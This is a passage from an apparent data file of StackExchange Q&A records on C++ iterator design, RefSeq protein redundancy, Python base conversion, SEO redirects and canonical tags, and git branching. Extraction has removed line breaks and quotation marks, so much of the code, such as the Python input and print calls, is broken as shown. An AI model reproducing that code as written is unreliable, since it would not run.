Also, operator++, operator* and operator== (or operator!=) are typically used instead of methods like next(), has_next(), etc. auto fn = linear_function(2.5, 37.2, {...});for (auto it = fn.begin(), end = fn.end(); it != end; ++it) {    std::cout << *it << \\n;}A nice side effect of this is that you actually get rewarded for being idiomatic. The standard library becomes a lot more compatible with your stuff, and you can get range based for loops as a happy side effect:// Wooo standard library!auto fn = linear_function(2.5, 37.2, {...});auto sum = std::accumulate(std::begin(fn), std::end(fn), 0.0);// Wooo pretty loops!for (auto y : linear_function(2.5, 37.2, {...})) {    std::cout << *it << \\n;}Minor thingsThese are minor enough that I don't think any of them deserve their own section.I would consider having data_obj work on a pair of iterators instead of being coupled to vector (what if you want to use it on an array, std::array, std::set, etc?).I would considering make data_obj immutable.data should be std::move'd m_data to ensure an extra copy is avoided.StyleThis is all subjective, of course, but:I'm not a fan of the m_ prefix. I prefer either plain member names (e.g. data), or member names with a trailing underscore if method/member name conflicts are expected (e.g. data_). The m_ prefix is still relatively common, but it seems to be dying off, and personally, I can't wait for it to finish dying.When function parameters can reasonably fit on one line, they should be on one line.Indented variables per type is very non-standard. Standard is to have each variable on its own line with its own type declaration.Putting it togetherAn example can probably illustrate much more effectively than my rambling words:// Models a linear functionclass linear_function {private:    const double m;    const double b;public:    // Construct the function from slop intercept representation    linear_function(double m, double b) : m(m), b(b)    { }    // Evaluate the linear function for a specific value.    double operator()(double x) const { return m * x + b; }    bool operator==(const linear_function& other) const {        return m == other.m && b == other.b;    }};// Iterates over a given domain for a linear function.template<typename Iter>class linear_function_iterator { // You'd want to extend or mimic std::iterator in a library-esque implementationprivate:    const linear_function fn_;    Iter iter_;    const Iter end_;public:    // Whether you want to take a single iterator or a pair is going to depend on typical usecase. Taking    // a pair makes use a bit safer though since you can do checking to ensure proper use.    linear_function_iterator(linear_function fn, Iter iter, Iter end)      : fn_(std::move(fn)), iter_(iter), end_(end)    { }    double operator*() const {        assert(iter_ != end_); // Example of using two iterators instead of one to provide additional error checking.        return fn_(*iter_);    }    linear_function_iterator& operator++() {        assert(iter_ != end_);        ++iter_;        return *this;    }    bool operator==(const linear_function_iterator& other) const {        return fn_ == other.fn_ && iter_ == other.iter_;    }    bool operator!=(const linear_function_iterator& other) const {        return !operator==(other);    }};// Convenience class for a linear function over a given domain.// Provides both an upfront approach or generator-like.template<class Iter>class fixed_linear_function { // This seems like a terrible name, but I'm blanking on anything better.private:    linear_function fn_;    const Iter begin_;    const Iter end_;public:    using iterator = linear_function_iterator<Iter>;    fixed_linear_function(linear_function fn, Iter domain_begin, Iter domain_end)      : fn_(std::move(fn)), begin_(domain_begin), end_(domain_end)     {}    std::vector<double> evaluate() const {        std::vector<double> results;        std::copy(begin(), end(), std::back_inserter(results));        return results;    }    iterator begin() {        return iterator(fn_, begin_, end_);    }    iterator end() {        return iterator(fn_, end_, end_);    }};// Because I'm lazytemplate<typename Iter>fixed_linear_function<Iter> make_fixed_linear_function(double m, double b, Iter beg, Iter end) {    return fixed_linear_function<Iter>(linear_function(m, b), beg, end);}// Soooooo lazytemplate<typename Container>auto make_fixed_linear_function(double m, double b, const Container& c) -> fixed_linear_function<decltype(std::begin(c))> {    return make_fixed_linear_function(m, b, std::begin(c), std::end(c));}This brings up an interesting note: generality and idiomaticness in C++ often come at a high cost, but also give high reward with regards to reusability and interoperability. This is significantly longer than your code, but it can be used with the standard library, and it's more flexible. In fact, if you were actually going to implement the idiomatic C++ approach like this, you could actually very easily take it one step farther and arrive at a generic generator. All that would be required would be renaming linear_function_iterator to generator, templating out linear_function to be any function (and also likely removing the end iterator since generators typically support infinite iteration), and deducing the return type of operator* instead of assuming its double.Note: This is strictly an example implementation. Operators are only partially defined, template traits aren't present, and overall, this is missing a lot of the corner cases/optimizations/etc that would make it applicable for real use.Example usage:int main() {    std::vector<double> values{1.0, 3.5, 27.2};    for (auto y : make_fixed_linear_function(3, 2.5, values)) {        std::cout << y << '\\n';    }    auto fn = make_fixed_linear_function(3, 2.5, values);    std::cout << std::accumulate(std::begin(fn), std::end(fn), 0) << '\\n';}Generic generatorFor toy, or small applications, it's not really going to matter, but if you find yourself doing this a lot in a real application and not some kind of school assignment or throwaway program, you'd likely want to find a well known and highly regarded generator implementation (I think Boost has a generator). It would save you time, it'd be more likely to be correct, and it'd likely be better designed than anything you or I can think of."  } 
{  "id": "_bioinformatics.818"  , "question": "I had a protein Refseq ID and I PSI-BLASTed this sequence against Refseq database. We all know that the Refseq is a Reference sequence database and it shouldn't have redundancy. After BLASTing my sequence, at first iteration I got 1000 hits and among them there were a lot of redundant sequences! My sequence had 241 amino acids and I found a lot of sequences with 100% identity, 100% cover and 0 E-value exactly the same as my sequence but with different IDs. All of these IDs were from RefSeq! In other iterations and after adjusting format options, I got this redundancy with other sequences from other species. My sequence is related to a chain of a multichain protein (E.coli fumarate reductase)For example, when using NP_418578 as a query, I found WP_078165098.1, WP_064226696.1, WP_062863447.1, WP_001401474.1 and other that were identical.I want to know what is wrong with Refseq. Is it really a Reference sequence database? If it is, where does this redundancy come from and why?"  , "title": "Duplicate long hits from PSI-BLAST"  , "tags": "blast;sequence homology;refseq"  , "accepted_answer": "This is what is known as a feature, not a bug. Note that your identical proteins all have accessions starting with WP_. These are special non-redundant proteins. Many sequencesparticularly bacterial sequencesare identical between various different species so having a separate RefSeq entry for each of them would be inefficient. Therefore, RefSeq combines multiple such proteins into a single WP_ record. This is documented here (emphasis mine):A new type of RefSeq protein record which represents non-redundant protein sequences was introduced in mid-2013. This record type was introduced to address a growing issue with redundancy in the Prokaryotic RefSeq protein dataset that coincided with a significant increase in bacterial genome submissions from individual isolates and closely related bacterial strains. For example, a large number of high-quality bacterial genomes may be submitted during a disease outbreak. The submitted sequences may reflect pathogen evolution during the course of the outbreak but the majority of the encoded proteins from these genomes may be identical to each other. As RefSeq includes these genomes, per community requests, this resulted in increased redundancy. By representing identical proteins using a single non-redundant protein accession number (with the prefix 'WP_'), redundancy in the database is significantly reduced.[ . . . ]Because a non-redundant protein sequence may be found in RefSeq genomes from multiple species, the organism information provided on the protein record reflects the lowest-common taxonomic node ranging from the genus species level to super-kingdom. A non-redundant protein record that provides organism information at the level of a genus, family, or even super-kingdom does not mean that the protein is found in all RefSeq genomes below that taxonomic classification. It only indicates that the protein is found in more than one genome of different species for which the genus, family, or super-kingdom classification is the lowest common taxonomic node. So, your query was NP_418578.1, anaerobic fumarate reductase catalytic and NAD/flavoprotein subunit from E. coli strain K-12, substrain MG1655. The first thing to notice is how specific that is. This is the protein found from one specific substrain of one specific strain of one specific bacterial species. It is reasonable to expect that there will be identical sequences from many, many closely related species. Both from, most probably, all other strains and substrains of E. coli and from other, related bacteria. Now, the specific sequences you mention are actually slightly different and not 100% identical. Below is a multiple alignment of NP_418578.1 and the 4 WP_ sequences you mentioned. Note that each of the 5 entries is slightly different. Each has one residue that differs from the rest. Look for the : in the identity line, there are 4 : and all others are * (I am only showing the relevant alignment blocks here and have removed those where all 4 sequences were identical):WP_001401474.1      MQTFQADLAIVGAGGAGLRAAIAAAQANPNAKIALISKVYPMRSHTVAAEGGSAAVAQDHWP_062863447.1      MQTFQADLAIVGAGGAGLRAAIAAAQANPNAKIALISKVYPMRSHTVAAEGGSAAVAQDHWP_064226696.1      MQTFQADLAIVGAGGAGLRAAIAAAQANPNAKIALISKVYPMRSHTVAAEGGSAAVAQDHNP_418578.1         MQTFQADLAIVGAGGAGLRAAIAAAQANPNAKIALISKVYPMRSHTVAAEGGSAAVAQDHWP_078165098.1      MQTFQADLAIVGAGGAGLRAAIAAAQANPNAKIALISKVYPMRSHTVAAEGGSAAIAQDH                    *******************************************************:****[ . . . ]WP_001401474.1      KIERTWFAADKTGFHMLHTLFQTSLQFPQIQRFDEHFVLDILVDDGHVRGLVAMNMMEGTWP_062863447.1      KIERTWFAADKTGFHMLHTLFQTSLQFPQIQRFDEHFVLDILVDDGHVRGLVAMNMMEGTWP_064226696.1      KIERTWFAADKTGFHMLHTLFQTSLQFPQIQRFDEHFVLDILVDDGHIRGLVAMNMMEGTNP_418578.1         KIERTWFAADKTGFHMLHTLFQTSLQFPQIQRFDEHFVLDILVDDGHVRGLVAMNMMEGTWP_078165098.1      KIERTWFAADKTGFHMLHTLFQTSLQFPQIQRFDEHFVLDILVDDGHVRGLVAMNMMEGT                    ***********************************************:************[ . . . ]WP_001401474.1      GILMTEGCRGEGGILVNKNGYRYLQDYGMGPETPLGEPKNKYMELGPRDKVSQAFWHEWRWP_062863447.1      GILMTEGCRGEGGILVNKNGYRYLQDYGMGPETPLGEPKNKYMELGPRDKISQAFWHEWRWP_064226696.1      GILMTEGCRGEGGILVNKNGYRYLQDYGMGPETPLGEPKNKYMELGPRDKVSQAFWHEWRNP_418578.1         GILMTEGCRGEGGILVNKNGYRYLQDYGMGPETPLGEPKNKYMELGPRDKVSQAFWHEWRWP_078165098.1      GILMTEGCRGEGGILVNKNGYRYLQDYGMGPETPLGEPKNKYMELGPRDKVSQAFWHEWR                    **************************************************:*********WP_001401474.1      KGNTISTPRGDVVYLDLRHLGEKKLHERLPFICELAKAYVGIDPVKEPIPVRPTAHYTMGWP_062863447.1      KGNTISTPRGDVVYLDLRHLGEKKLHERLPFICELAKAYVGVDPVKEPIPVRPTAHYTMGWP_064226696.1      KGNTISTPRGDVVYLDLRHLGEKKLHERLPFICELAKAYVGVDPVKEPIPVRPTAHYTMGNP_418578.1         KGNTISTPRGDVVYLDLRHLGEKKLHERLPFICELAKAYVGVDPVKEPIPVRPTAHYTMGWP_078165098.1      KGNTISTPRGDVVYLDLRHLGEKKLHERLPFICELAKAYVGVDPVKEPIPVRPTAHYTMG                    *****************************************:******************[ . . . ]Your sequence (NP_418578.1) is only identical to one WP_* multi-species sequence, WP_001192973:WP_001192973.1      MQTFQADLAIVGAGGAGLRAAIAAAQANPNAKIALISKVYPMRSHTVAAEGGSAAVAQDHNP_418578.1         MQTFQADLAIVGAGGAGLRAAIAAAQANPNAKIALISKVYPMRSHTVAAEGGSAAVAQDH                    ************************************************************WP_001192973.1      DSFEYHFHDTVAGGDWLCEQDVVDYFVHHCPTEMTQLELWGCPWSRRPDGSVNVRRFGGMNP_418578.1         DSFEYHFHDTVAGGDWLCEQDVVDYFVHHCPTEMTQLELWGCPWSRRPDGSVNVRRFGGM                    ************************************************************WP_001192973.1      KIERTWFAADKTGFHMLHTLFQTSLQFPQIQRFDEHFVLDILVDDGHVRGLVAMNMMEGTNP_418578.1         KIERTWFAADKTGFHMLHTLFQTSLQFPQIQRFDEHFVLDILVDDGHVRGLVAMNMMEGT                    ************************************************************WP_001192973.1      LVQIRANAVVMATGGAGRVYRYNTNGGIVTGDGMGMALSHGVPLRDMEFVQYHPTGLPGSNP_418578.1         LVQIRANAVVMATGGAGRVYRYNTNGGIVTGDGMGMALSHGVPLRDMEFVQYHPTGLPGS                    ************************************************************WP_001192973.1      GILMTEGCRGEGGILVNKNGYRYLQDYGMGPETPLGEPKNKYMELGPRDKVSQAFWHEWRNP_418578.1         GILMTEGCRGEGGILVNKNGYRYLQDYGMGPETPLGEPKNKYMELGPRDKVSQAFWHEWR                    ************************************************************WP_001192973.1      KGNTISTPRGDVVYLDLRHLGEKKLHERLPFICELAKAYVGVDPVKEPIPVRPTAHYTMGNP_418578.1         KGNTISTPRGDVVYLDLRHLGEKKLHERLPFICELAKAYVGVDPVKEPIPVRPTAHYTMG                    ************************************************************WP_001192973.1      GIETDQNCETRIKGLFAVGECSSVGLHGANRLGSNSLAELVVFGRLAGEQATERAATAGNNP_418578.1         GIETDQNCETRIKGLFAVGECSSVGLHGANRLGSNSLAELVVFGRLAGEQATERAATAGN                    ************************************************************WP_001192973.1      GNEAAIEAQAAGVEQRLKDLVNQDGGENWAKIRDEMGLAMEEGCGIYRTPELMQKTIDKLNP_418578.1         GNEAAIEAQAAGVEQRLKDLVNQDGGENWAKIRDEMGLAMEEGCGIYRTPELMQKTIDKL                    ************************************************************WP_001192973.1      AELQERFKRVRITDTSSVFNTDLLYTIELGHGLNVAECMAHSAMARKESRGAHQRLDEGCNP_418578.1         AELQERFKRVRITDTSSVFNTDLLYTIELGHGLNVAECMAHSAMARKESRGAHQRLDEGC                    ************************************************************WP_001192973.1      TERDDVNFLKHTLAFRDADGTTRLEYSDVKITTLPPAKRVYGGEADAADKAEAANKKEKANP_418578.1         TERDDVNFLKHTLAFRDADGTTRLEYSDVKITTLPPAKRVYGGEADAADKAEAANKKEKA                    ************************************************************WP_001192973.1      NGNP_418578.1         NG                    **So, in summary, RefSeq will combine multiple identical sequences into a single WP_* multi-species accession. You should therefore expect to find one 100% identical WP_* sequence for your query and multiple, almost identical WP_* entries. And that's precisely what you see here."  } 
{  "id": "_cs.12660"  , "question": "I am trying to come up with a regular expression for the following language:The set of all strings with at most one triple of adjacent 0s.What does triple of adjacent 0s mean? Does it mean 010101, or something else?"  , "title": "A regular expression for strings with at most one triple of adjacent zeroes"  , "tags": "formal languages;terminology;regular expressions"  } 
{  "id": "_softwareengineering.231581"  , "question": "It is sometime useful to write a script to perform a batch editing onseveral files in a source tree.  Such a script is usually veryspecific and used only once.Such scripts can be used to rework some identifiers in code, modifyfile header comments, edit the path of a resource or the like.  I wantto stress that I am concerned by the case where the script addressesan exceptional problem, so that it does not fit in the usual workflowof the project.I think it is important to keep record of these scripts and referencethe usage of the script in the RCS logbook.  Where is the appropriateplace to keep this record?Should they be added to the commit description in the RCS logbook?Should they be added to the ticket description of the item beingprocessed when they are used?  Should they be saved as regular filesin the project and added to the RCS, despite the fact their usage isdeemed to be unique? Is there another way?"  , "title": "Where to keep track of batch editing scripts?"  , "tags": "version control;project structure;configuration management"  } 
{  "id": "_codereview.67599"  , "question": "I'm doing some Python practice for fun and I wrote some code that converts between two bases. I'm thinking about expanding on this later, so the docstrings are pretty redundant from function to function.Is this too much? Is there a way to make the documentation more clear or are there parts that I could just the let code speak for itself? Are there variables that could have been named better? Is the formatting okay? Is the way I split up the functions too disorganized? I'm assuming there are plenty of code optimizations here, but I haven't been coding too long, so I'm still getting a feel for a lot of formatting conventions as well.def base_to_base(starting_base, starting_num, ending_base):     Takes a number of a base between base 2 and 36 and converts it to    another number of a base within the same constrictions.  Starting_base and    ending_base are taken as integers and starting_num is taken as a string (as    to handle alpha characters). The initial number is converted from the starting    base to base ten and that number is then converted to the ending base.    Returns the ending number as a string. Bases larger than 10 are handled with    capital letters. Negative numbers and decimals are not handled.     # prevents unnecessary conversion    if starting_base == 10:        base_ten_num = int(starting_num)    else:        base_ten_num = base_to_ten(starting_num, starting_base)    # prevents unnecessary conversion and returns result    if ending_base == 10:        return str(base_ten_num)    else:        return ten_to_base(base_ten_num, ending_base)def base_to_ten(number, base):     Takes a number of a base between base 2 and 36 and converts it to    base 10. Number is taken as a string (as to handle alpha characters) and    base is taken as an integer. The initial number is converted from its base    to base ten and returned as an integer. Bases larger than 10 are handled    with capital letters. Negative numbers and decimals are not handled.     # initial values    base_ten_num = 0    current_place = 0    # iterates backwards through the number string. Each character's value is    # converted to base 10 and the cumulative value is stored in base_ten_num    for num_index in range(len(number)-1, -1, -1):        # Assigns integer value to characters. Alpha characters are assigned        # using unicode values. A's unicode value is 65 and its numberic value        # in base ten is 10, so 55 would be subtracted from the unicode value.        # The numbers progress from there. Current_value is always an integer        # after the if statement.        if number[num_index].isalpha():            current_value = ord(number[num_index]) - 55        else:            current_value = int(number[num_index])        # Each place value from right to left is worth the base to the next        # power starting with 0. For example, when 101 (base 2) is converted to        # base 10, it is 5. That's 1*2^0 + 0*2^1 + 1*2^2. 1+0+4=5.        base_ten_num += current_value * base ** current_place        current_place += 1    return base_ten_numdef ten_to_base(base_ten_num, base):     Takes a number of base ten and converts it to another number of a base    between base 2 and base 36. Base_ten_num and base are taken as integers. The    number of place values are determined and added to the ending_num string,    which is returned. Bases larger than 10 are handled with capital letters.    Negative numbers and decimals are not handled.    current_power = 0    # continues to add 1 to current_power until current_power+1 is the number of    # places in the converted number.    while base ** (current_power+1) < base_ten_num:        current_power += 1    # inital value    ending_num =     # finds each place value    while current_power >= 0:        # floor division by place value. Base ** current_power is the value of        # 1 in that place value, so base_ten_num divided by the power with no        # remainder is that place value        current_value = base_ten_num // base ** current_power        # updates values for next loop        base_ten_num -= current_value * base ** current_power        current_power -= 1        # Assigns a character to the place value. Values larger than 10 are        # assigned alpha characters with unicode. A's unicode value is 65 and it        # is worth 10, so 55 is added to get the unicode value. The values        # progress from there. Current_value is always a string after the if        # statement.        if current_value > 9:            current_value = chr(current_value + 55)        else:            current_value = str(current_value)        # Adds the value's character to the number's string        ending_num += current_value    return ending_numdef get_starting_base():     Input and verification of starting base, that it is a positive integer    between 2 and 36. Returns starting_base as an integer.    # Gets initial input    starting_base = input(starting base: )    # Prompts the user again if the input is a not a positive integer between 2    # and 36.    while not (starting_base.isdigit() and 1 < int(starting_base) < 37):        print(Please enter a positive integer between 2 and 36)        starting_base = input(starting base: )    return int(starting_base)def get_starting_num(starting_base):     Input and verification of starting number, that it is a positive integer    using only characters from its base. Returns starting_num as a string.    # Assigns string which only contains characters from the given base    base_members = 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ[0:starting_base]    # Gets initial input    starting_num = input(starting number: )    # Assumes the input is proper, then gives it a change to prove us wrong.    # If it uses characters that are not available in that base, the user will    # be prompted again    is_proper = True    for character in starting_num:        if character not in base_members:            is_proper = False    while not is_proper:        print(Please only use characters in your base (Capital letters for  +              bases larger than than 10) )        starting_num = input(starting number: )        is_proper = True        for character in starting_num:            if character not in base_members:                is_proper = False    return starting_numdef get_ending_base():     Input and verification of ending base, that it is a positive integer    between 2 and 36. Returns ending_base as an integer.    # Gets initial input    ending_base = input(ending base: )    # Prompts the user again if the input is not a positive integer between 2    # and 36.    while not (ending_base.isdigit() and 1 < int(ending_base) < 37):        print(Please enter a positive integer between 2 and 36)        ending_base = input(ending base: )    return int(ending_base)if __name__ == __main__:    starting_base = get_starting_base()    starting_num = get_starting_num(starting_base)    ending_base = get_ending_base()    ending_num = base_to_base(starting_base, starting_num, ending_base)    print(ending number:  + ending_num)"  , "title": "Convert between two bases, each between 2 and 36"  , "tags": "python;optimization;python 3.x;converting;formatting"  , "accepted_answer": "Using allYour check for proper string :is_proper = Truefor character in starting_num:    if character not in base_members:        is_proper = Falsecan easily be rewritten with an additional break as there is not point in continuing once you've set is_proper to False.Even better, you can rewrite this in a clean and efficient way using all :is_proper = all(c in base_members for c in starting_num)Logic flowThen, the whole get_starting_num function can be rewritten :def get_starting_num(starting_base):     Input and verification of starting number, that it is a positive integer    using only characters from its base. Returns starting_num as a string.    # Assigns string which only contains characters from the given base    base_members = 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ[0:starting_base]    while True:        starting_num = input(starting number: )        if all(c in base_members for c in starting_num):            return starting_num        print(Please only use characters in your base (Capital letters for  +              bases larger than than 10))The reasons why I prefer that way to write it :we ask the user in a consistent way : the same line of code is used every timewe check for validity in a single placeit is easy that we will return only when we get a valid string.Similarly, I'd rather write get_starting_base:def get_starting_base():     Input and verification of starting base, that it is a positive integer    between 2 and 36. Returns starting_base as an integer.    while True:        starting_base = input(starting base: )        if starting_base.isdigit() and 1 < int(starting_base) < 37:            return int(starting_base)        print(Please enter a positive integer between 2 and 36)and get_ending_base:def get_ending_base():     Input and verification of ending base, that it is a positive integer    between 2 and 36. Returns ending_base as an integer.    while True:        ending_base = input(ending base: )        if ending_base.isdigit() and 1 < int(ending_base) < 37:            return int(ending_base)        print(Please enter a positive integer between 2 and 36)Reusing codeNow that we've played a bit with get_(starting|ending)_base, we notice that they look very similar. It might be worth writing a more generic function to handle this :def get_integer_in_range(prompt, mini, maxi):    while True:        starting_base = input(prompt)        if starting_base.isdigit() and mini <= int(starting_base) <= maxi:            return int(starting_base)        print(Please enter a positive integer between %d and %d % (mini, maxi))def get_starting_base():    return get_integer_in_range(starting base: , 2, 36)def get_ending_base():    return get_integer_in_range(ending base: , 2, 36)Premature optimisationYour check on if starting/ending_base == 10: makes your code more complicated and adds little.Also, it makes testing akward as it bypasses pretty much the only case I can check without any electronic device.NamingA few things are not that great in the naming of your functions and variables especially because it does not convey much information about the actual type of the data we are handling :starting_num sounds like a integer to me. Surprise, it is a string.base_ten_num seems to be a string representation of the number in base 10. It is not, it is actually an integer (the fact that it is in base 10 is irrelevant and actually wrong as it is probably not how it is stored internally). I think n is usually a good enough name. Similarly, base_to_ten and ten_to_base could be int_to_string or string_to_int.number is actually a string and so is ending_num.At this point, the code looks like :def base_to_base(starting_base, string, ending_base):     Takes a number of a base between base 2 and 36 and converts it to    another number of a base within the same constrictions.  Starting_base and    ending_base are taken as integers and starting_num is taken as a string (as    to handle alpha characters). The initial number is converted from the starting    base to base ten and that number is then converted to the ending base.    Returns the ending number as a string. Bases larger than 10 are handled with    capital letters. Negative numbers and decimals are not handled.     n = string_to_int(string, starting_base)    return int_to_string(n, ending_base)def string_to_int(string, base):     Takes a number of a base between base 2 and 36 and converts it to    base 10. Number is taken as a string (as to handle alpha characters) and    base is taken as an integer. The initial number is converted from its base    to base ten and returned as an integer. Bases larger than 10 are handled    with capital letters. Negative numbers and decimals are not handled.     # initial values    num = 0    current_place = 0    # iterates backwards through the number string. Each character's value is    # converted to base 10 and the cumulative value is stored in base_ten_num    for num_index in range(len(string)-1, -1, -1):        # Assigns integer value to characters. Alpha characters are assigned        # using unicode values. A's unicode value is 65 and its numberic value        # in base ten is 10, so 55 would be subtracted from the unicode value.        # The numbers progress from there. Current_value is always an integer        # after the if statement.        if string[num_index].isalpha():            current_value = ord(string[num_index]) - 55        else:            current_value = int(string[num_index])        # Each place value from right to left is worth the base to the next        # power starting with 0. For example, when 101 (base 2) is converted to        # base 10, it is 5. That's 1*2^0 + 0*2^1 + 1*2^2. 1+0+4=5.        num += current_value * base ** current_place        current_place += 1    return numdef int_to_string(n, base):     Takes a number of base ten and converts it to another number of a base    between base 2 and base 36. Base_ten_num and base are taken as integers. The    number of place values are determined and added to the ending_num string,    which is returned. Bases larger than 10 are handled with capital letters.    Negative numbers and decimals are not handled.    current_power = 0    # continues to add 1 to current_power until current_power+1 is the number of    # places in the converted number.    while base ** (current_power+1) < n:        current_power += 1    # inital value    string =     # finds each place value    while current_power >= 0:        # floor division by place value. Base ** current_power is the value of        # 1 in that place value, so n divided by the power with no        # remainder is that place value        current_value = n // base ** current_power        # updates values for next loop        n -= current_value * base ** current_power        current_power -= 1        # Assigns a character to the place value. Values larger than 10 are        # assigned alpha characters with unicode. A's unicode value is 65 and it        # is worth 10, so 55 is added to get the unicode value. The values        # progress from there. Current_value is always a string after the if        # statement.        if current_value > 9:            current_value = chr(current_value + 55)        else:            current_value = str(current_value)        # Adds the value's character to the number's string        string += current_value    return string(I couldn't be bothered updated the comments.)Finding a bugBefore changing anything, I wanted to write a few tests to be sure I am aware if I break something :for s in [1, 4, 6, 10, 23, 7257]:    assert string_to_int(s, 10) == int(s)for n in [1, 4, 6, 10, 23, 7257]:    assert int_to_string(n, 10) == str(n)I guess I got lucky (or inspired) because the value 10 leads to a bug.I guess that while base ** (current_power+1) < n should be while base ** (current_power+1) <= n.Different algorithms - string_to_intWhen you convert, let's say 1234 to an integer, you are currently saying something like :I have 4 digits thereforeFirst digit 1 is worth 1 * 10^(4-1)Second digit 2 is worth 2 * 10^(4-2)etcThere is an easier way : you just go through numbers and do something like :My current total is initially 0I have found a 1 : it is worth 1 and my current total is 0 + 1 = 1I have found a 2 : it is worth 2 and my current total is 1*10 + 2 = 12I have found a 3 : it is worth 3 and my current total is 12*10 + 3 = 123etcCorresponding code is :def string_to_int(string, base):    num = 0    for digit in string:        if digit.isalpha():            current_value = ord(digit) - 55        else:            current_value = int(digit)        num = base * num + current_value    return numDifferent algorithms - int_to_stringHere again you went for a complicated approach. The easy approach is to generate the string backward. When you are given a number, it is easy to know what the last digit it, you just perform a % base operation and that's it. Then you divide by base and you continue.Using divmod, this can be concisely written :def int_to_string(n, base):    if n==0:        return 0    string =     while n:        n, current_value = divmod(n, base)        if current_value > 9:            current_value = chr(current_value + 55)        else:            current_value = str(current_value)        string = current_value + string    return stringVarious detailsBecause I have thrown-away a lot of you code, I didn't get a chance to comment on it much. It is usually a bad idea to use range and len to loop over something in Python : it is hard to get it right, it is not efficient, it is hard to read and there is a lot more to write.Just look at these examples and tell me which one is simple to read/write :>>> number = 358>>> for num_index in range(len(number)-1, -1, -1):...     print(number[num_index])>>> for num in reversed(number):...     print(num)Also, for your string slicing, 0 is the default value so you can write : base_members = 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ[:starting_base]Final codeAt the end, my code looks like this. There is still a lot to improve (from a documentation point of view for instance).def base_to_base(starting_base, string, ending_base):    n = string_to_int(string, starting_base)    return int_to_string(n, ending_base)def string_to_int(string, base):    num = 0    for digit in string:        if digit.isalpha():            current_value = ord(digit) - 55        else:            current_value = int(digit)        num = base * num + current_value    return numdef int_to_string(n, base):    if n==0:        return 0    string =     while n:        n, current_value = divmod(n, base)        if current_value > 9:            current_value = chr(current_value + 55)        else:            current_value = str(current_value)        string = current_value + string    return stringdef get_integer_in_range(prompt, mini, maxi):    while True:        starting_base = input(prompt)        if starting_base.isdigit() and mini <= int(starting_base) <= maxi:            return int(starting_base)        print(Please enter a positive integer between %d and %d % (mini, maxi))def get_starting_num(starting_base):     Input and verification of starting number, that it is a positive integer    using only characters from its base. Returns starting_num as a string.    # Assigns string which only contains characters from the given base    base_members = 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ[:starting_base]    while True:        starting_num = input(starting number: )        if all(c in base_members for c in starting_num):             return starting_num        print(Please only use characters in your base (Capital letters for  +              bases larger than than 10))if __name__ == __main__:    for s in [0, 1, 4, 6, 10, 23, 7257]:        assert string_to_int(s, 10) == int(s)    for n in [0, 1, 4, 6, 10, 23, 7257]:        assert int_to_string(n, 10) == str(n)    starting_base = get_integer_in_range(starting base: , 2, 36)    starting_num = get_starting_num(starting_base)    ending_base = get_integer_in_range(ending base: , 2, 36)    ending_num = base_to_base(starting_base, starting_num, ending_base)    print(ending number:  + ending_num)"  } 
{  "id": "_webmaster.3091"  , "question": "from the book Art of SEO: 301s carry cross-domain functionality,  meaning you can redirect a page at  Domain1.com to Domain2.com and carry  over those search engine metrics. This  is not the case with the canonical URL  tag, which operates exclusively on a  single root domain (it will carry over  across subfolders and subdomains).What does the 1st line mean? Say if I move domains, I can 301 the old domain to the new and have the same search engine ranking?I don't really get how the canonical tag fits into the picture. Can someone explain?"  , "title": "SEO: 301 redirects and canonical tag"  , "tags": "seo;domains;redirects;canonical url;rel canonical"  , "accepted_answer": "301 redirects and canonical links are two very different things.A 301 redirect tells the search engine that the page has permanently moved to a new URL and to forward all links, etc, to the new URL. Basically it's a change of address card for web pages. If you change the URL of a page, including the domain name, you would need to do a 301 redirect so the search engines, and users, would find the new page and associate it with the old one.A canonical link is when you have one page that can be pulled up using more then one URL. For example http://www.example.com/index.php and http://www.example.com/index.php?ref=jc pull up the exact same content. To the search engines these are two different pages and thus have duplicate content. This usually results in one of the pages being dropped from the search engine's index. Unfortunately you cannot control which one they drop unless you use canonical links. They tell the search engines which page is the main page and to use that one in the case of duplication. "  } 
{  "id": "_webmaster.69861"  , "question": "I have a main domainwww.example.comWe currently are in the process of changing domains to www.example2.combut I really want to keep the existing domain working.I have set up the webserver to serve the same site for either address and all links are relative. So if you go to example.com and click on a link you go to example.com/courses or if you go to example2.com and click you go to example2.com/courses.This works fine and I am happy with it, however someone said to me that Google doesn't like this and thinks I am doing dodgy SEO stuff (which I'm not).Does Google mind if I do this?Is there a way that I can tell Google these two domains are the same content while not having to redirect one to the other?"  , "title": "What should I do with my 2 Domains"  , "tags": "seo;google;domains;multiple domains"  } 
{  "id": "_webmaster.108390"  , "question": "I have an online newspaper website. The content is fully in the Bangla language. The language of the website is Bangla but visitors are searching in search engines (Google, Yahoo & Bing) in English and coming to my site.I need to know know how to use metadata (title, meta-description, and meta-keywords) in both the Bangla and the English language for SEO purposes.I also need to know whether using multiple languages in the metadata is harmful regarding SEO."  , "title": "How can I use dual language metadata?"  , "tags": "seo;meta tags;multilingual"  } 
{  "id": "_softwareengineering.352843"  , "question": "I'm starting a new project and I'd like to plan it's use with git (using SourceTree) before starting. I work as a self developer and I'm starting a project that will have 3 different areas. This is what is confusing me on what should I do to use git properly.Basically the project will have this structure:Shared: Some code shared between the different areas (e.g. css style, connection to the database);App: A restricted area for users/clients only;Panel: A restricted area for the admins only;WebSite: A public website to serve as a landing page;What should I do in this case? Should I have different branchs for each area? Currently I'm using Git Flow (which is being very useful), but I don't know if it would be ok to keep all of them on the same branch (let's say on the develop) or create one for each area, e.g. dev/app, dev/admin and dev/website.Each area may (and problably will) need different type of maintenance, so app can be on currently development while website no.When reading about this topic I could found some content telling to keep track of each area in it's own way, but I don't know how to structure this on the branches. What would be better to consider on this scenario? Or what other suggestion youc an give me on this? Until today I just worked with git on simple projects, such a simple WebSite, with just one line of development and the Git Flow was just enough (master, develop, feature and hotfix)."  , "title": "Using git on a project with different areas"  , "tags": "git;branching;code organization"  } 
